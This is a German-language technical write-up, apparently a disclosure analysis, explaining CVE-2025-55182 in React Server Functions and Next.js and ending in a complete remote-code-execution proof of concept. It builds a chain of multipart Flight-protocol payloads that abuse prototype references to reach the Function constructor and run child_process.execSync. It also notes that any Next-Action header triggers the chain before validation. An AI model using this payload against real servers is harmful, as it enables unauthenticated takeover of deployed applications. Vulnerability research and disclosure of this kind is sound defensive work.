
Erklärung und vollständiger RCE PoC für CVE-2025-55182
Diese Sicherheitslücke ermöglicht RCE in React Server Functions, wie sie z. B. von Next.js durch unsichere Prototyp-Referenzen angeboten werden.
Ich bin kein Experte für React oder Next.js, also nehmen Sie alle Informationen hier mit einer gewissen Vorsicht.
React bietet Server-Funktionen1, die man als eine Art RPC über HTTP betrachten kann. Sie können verwendet werden, um Daten von benachbarten Peers mit geringer Latenz abzurufen oder authentifizierte Anfragen durchzuführen, für die dem Client die Berechtigungen fehlen.
React verwendet das sogenannte React Flight Protocol2 zur Serialisierung von Werten, die an Server-Funktionen übergeben werden.
Der Client übergibt "Chunks" an den Server, z. B. über Formulardaten:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Wie gezeigt, können diese Referenzen untereinander haben. Die obige Nutzlast deserialisiert auf dem Server zu Folgendem:
{ object: 'fruit', name: 'cherry' }
Das Format selbst ist etwas komplexer und erlaubt eine aufwändigere Serialisierung und Deserialisierung, aber dies bietet ein grundlegendes Verständnis für die eigentliche Sicherheitslücke.
Bis zu diesem Commit3 hat React beim Durchlaufen von Chunks während der Referenzauflösung (z. B. beim Abrufen von fruitName aus Chunk 2 im obigen Beispiel) nicht überprüft, ob der angeforderte Schlüssel tatsächlich auf dem Objekt gesetzt war. Dadurch konnte der Objektprototyp4 abgerufen werden.
Dies lässt sich mit einer Nutzlast wie dieser demonstrieren:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Was zum Funktionskonstruktor5 deserialisiert:
[Function: Function]
Wenn der Chunk mit der ID 0 kein Array, sondern ein Objekt ist, können wir den Schlüssel then auf den Funktionskonstruktor setzen. Das Objekt wird dann von der Funktion decodeReplyFromBusboy zurückgegeben und von Next.js per await erwartet:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Wenn dies ein Thenable zurückgibt, ruft das await im Aufrufer es auf. Genau das passiert mit dieser Nutzlast:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Was zu diesem Fehler führt:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Der Fehler sieht so aus, weil V8 eine await-ed Funktion mit den internen resolve- und reject-Funktionen aufruft, die, wenn sie in einen String umgewandelt werden, etwa so serialisiert werden:
function () { [native code] }
Da wir problemlos den Function-Konstruktor abrufen können, besteht der naheliegende Weg darin, ein Call-Gadget zu finden, das den Konstruktor mit einem benutzergesteuerten Wert (also dem Code der Funktion als String) aufruft und später die zurückgegebene Funktion aufruft.
Es gibt mehrere Stellen, die den Funktionskonstruktor aufrufen können, zum Beispiel resolveServerReference, wo id ein kontrolliertes Objekt ist und lastIndexOf überschrieben werden kann, um einen benutzergesteuerten String zurückzugeben (z. B. über Array.prototype.join), und slice kann auf den Funktionskonstruktor überschrieben werden. Diese Stelle funktioniert jedoch nicht, da der zweite Aufruf von .slice() eine Zahl als erstes Argument liefert, die – nach bestem Wissen – vom Funktionskonstruktor nie verarbeitet werden kann.
Hier kommt eine brillante Idee von maple31426 ins Spiel. Wenn getChunk den Chunk mit der ID 0 als Wurzelreferenz zum Start der Auflösung der Referenzkette abruft, kann dieser selbe Chunk zu einem manipulierten "fake chunk" werden.
Wir können den manipulierten Chunk 0 in Chunk 1 mit der $@-Syntax referenzieren, die den "rohen" Chunk zurückgibt, nicht seinen aufgelösten Wert:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Kombiniert mit unserem then-Override von oben können wir etwa Folgendes konstruieren:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Hier überschreibt Chunk 0 seine eigene .then()-Methode mit der .then()-Methode seiner eigenen rohen Chunk-Darstellung. Einfach ausgedrückt überschreiben wir unsere eigene .then()-Methode mit Chunk.prototype.then, die existiert, da Chunks Thenables sind:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Mit der obigen Nutzlast wird Chunk.prototype.then schließlich mit dem manipulierten Chunk mit der ID 0 aufgerufen.
Wie oben gezeigt, wenn .status auf unserem fake chunk resolved_model ist:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Gelangen wir in initializeModelChunk. Hier wird .value als JSON geparst und dann werden Referenzen auf dem zurückgegebenen Objekt aufgelöst, wobei der "äußere" Kontext unserer Chunks mit den IDs 0 und 1 verwendet wird:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Innerhalb dieses Schritts erhalten wir nun einen zweiten Durchlauf der Auswertung mit einigen zusätzlichen Werten, auf die wir aufgrund des bereits aufgelösten äußeren Kontexts Zugriff haben.
Es gibt ein Call-Gadget in der Handhabung von Blob-Daten mit dem Präfix $B im Flight Protocol:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Mit dem speziellen Feld _response steuern wir die Eigenschaft response des manipulierten Chunks:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Damit können wir ein Objekt mit gefälschten ._formData- und ._prefix-Eigenschaften konstruieren:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Der .reason muss hinzugefügt werden, um zu verhindern, dass der toString-Aufruf in initializeModelChunk fehlschlägt:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Indem wir ._formData auf den Funktionskonstruktor und ._prefix auf unseren Code zeigen, erhalten wir ein Aufruf-Gadget für den Funktionskonstruktor in der Blob-Deserialisierung:
response._formData.get(response._prefix + "0")
// wird zu
Function("return foo; // 0")
Unsere konstruierte Funktion wird dann von parseModelString als .then()-Methode des manipulierten Chunks zurückgegeben, die ebenfalls per await erwartet wird, da dies alles in einer einzigen Promise-Auflösungskette stattfindet. Indem wir ein Thenable zurückgeben, wird unsere konstruierte Funktion aufgerufen. Dies stellt das oben erwähnte erforderliche Call-Gadget dar.
Setzt man dies alles mit einer echten RCE-Nutzlast zusammen, erhält man etwa Folgendes:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Der Bonus, der diese Sicherheitslücke noch verschlimmert, ist, dass all dies während der Deserialisierung geschieht, bevor die angeforderte Aktion überhaupt in getActionModIdOrError validiert wird. Daher reicht es aus, einen Header wie Next-Action: foo zu setzen, um die Sicherheitslücke auszulösen.
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E